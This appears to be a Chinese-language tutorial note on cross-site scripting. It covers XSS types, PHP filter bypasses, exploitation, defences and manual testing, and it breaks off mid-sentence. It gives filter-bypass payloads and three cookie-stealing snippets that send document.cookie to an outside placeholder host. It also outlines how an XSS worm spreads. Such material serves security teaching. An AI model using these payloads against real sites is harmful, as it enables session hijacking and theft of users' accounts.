跨站脚本攻击xss:
- 反射型
- 存储型
- DOM型
- xss利用方式
- xss攻击防御
- xss攻击挖掘
介绍:由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端JavaScript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
XSS跨站脚本攻击本身对Web服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。 攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开URL时,恶意脚本会在受害者机器上执行。
同源是指:域名、协议、端口相同。
分类:反射性xss、存储行xss、DOM型xss。
1)反射型xss(非持久型):
介绍:简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据。
(简单地说:浏览器解析用户上传的带有xss攻击代码的数据)
简单过滤机制机制及绕过:
1)$xss_input = str_replace( '<script>', '', $_GET[ 'xss_input' ] );
2)用str_replace函数把<script>过滤掉(替换为空)
3)双<script>绕过:<sc<script>ript>alert(/xss/)</script>
4)大小写混淆:<ScRipt>alert(/xss/)</ScRipt>
5)使用<img>标签:<img src=1 onerror=alert(/xss/) >
中级过滤机制及绕过:
1)$xss_input = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'xss_input' ] );
2)preg_replace()函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
3)使用<img>标签:<img src=1 onerror=alert(/xss/)>
高级过滤机制:
1)$xss_input = htmlspecialchars( $_GET[ 'xss_input' ] );
2)htmlspecialchars函数对用户输入进行编码。预定义的字符&、"、'、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。
< ---- <
> ---- >
& ---- &
" ---- "
' ---- '
2)存储型xss:
介绍:指由于Web应用程序对用户输入数据的不严格,导致Web应用程序将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中,当网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,进而导致跨站脚本代码的执行。
存储型XSS脚本攻击最为常见的场景就是在留言板、博客或新闻发布系统中,恶意代码的数据信息直接写入文章、评论、留言中,浏览时即会执行相应的脚本代码。
(简单地说:用户上传的xss代码上传并存储在服务器,用户再次访问该页面,xss代码被响应给浏览器并解析)
3)DOM型xss:(Document Object Model,文档对象模型)
介绍:基于DOM的XSS跨站脚本攻击是通过修改页面DOM节点数据信息而形成的XSS跨站脚本攻击。
不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。
4)xss利用方式:
- cookie窃取
- 网络钓鱼
- xss worm(xss蠕虫)
4.1)cookie窃取:
介绍:Cookie的内容是可以进行加密的,即使被截获也不能解密。但是,恶意攻击者不需要知道Cookie的确切含义,只要把Cookie向服务器提交并通过验证以后,就可以冒充受害人的身份登录网站,这种行为一般叫做Cookie欺骗或Cookie会话攻击。
如果一个网站存在XSS漏洞,攻击者可以向漏洞页面写入窃取Cookie信息的恶意代码,在用户浏览XSS网页时,攻击者就能够获取受害者当前浏览器中的Cookie信息。
获取Cookie信息的方式:
1)<script>document.location="http://www.xxx.com/cookie.asp?cookie='+document.cookie</script>
2)<img src="http://www.xxx.com/cookie.asp?cookie='+document.cookie"></img>
3)
<script>
img = new Image();
img.src = "http://www.xxx.com/cookie.asp?cookie="+document.cookie;
img.width = 0;img.height = 0
</script>
4.2)网络钓鱼:
介绍:XSS跨站脚本最大的特性是能够在网页中插入并运行JavaScript,不仅能劫持用户的当前会话,同时还能控制浏览器的部分行为。利用这一点,攻击者便能实施钓鱼攻击,这种基于XSS的钓鱼技术被称为XSS Phishing。
4.3)跨站脚本蠕虫(xss worm):
介绍:实质上是一段脚本程序,通常用JavaScript或Vbscript编写,在用户浏览有XSS漏洞页面时被激活。蠕虫根据其特定规则进行传播和感染。
完整的xss worm攻击流程:
1、攻击者发现目标网站存在XSS漏洞,并且可以编写XSS蠕虫
2、利用一个宿主(如博客空间)作为传播源头进行XSS攻击。
3、当其他用户访问被感染的空间时,XSS蠕虫执行以下操作:
>判断用户是否登录,如果已登录就执行下一步;
>判断用户是否被感染,如果没有就将其感染,如果已感染就跳过。
5)xss防御:
1)输入过滤(转义):对用户提交的信息进行有效验证、过滤有害的输入(<、>、'、”、#等敏感字符)
2)输出编码:利用htmlspecialchars()函数,将预定义字符(&、"、'、<、>等)转换为html实体,如:&、"等
3)防御DOM XSS:
避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务端使用动态页面来实现
分析和强化客户端的JavaScript代码。
4)Anti-XSS:微软开发的.NET平台下用于防止XSS攻击的类库,提供了大量的编码函数用于处理用户的输入,可实现输入白名单机制和输出转义
5)HttpOnly:Web应用程序在设置Cookie时,将其属性设置为HttpOnly,可以避免该网页的Cookie被客户端JavaScript存取,保护用户的Cookie不被盗取。
6)xss漏洞挖掘:
6.1)手工检测:输入“<、>、0”等特殊字符查看源代码这些是否转义;无法得知输出位置情况可以输入: “/> XSS TEST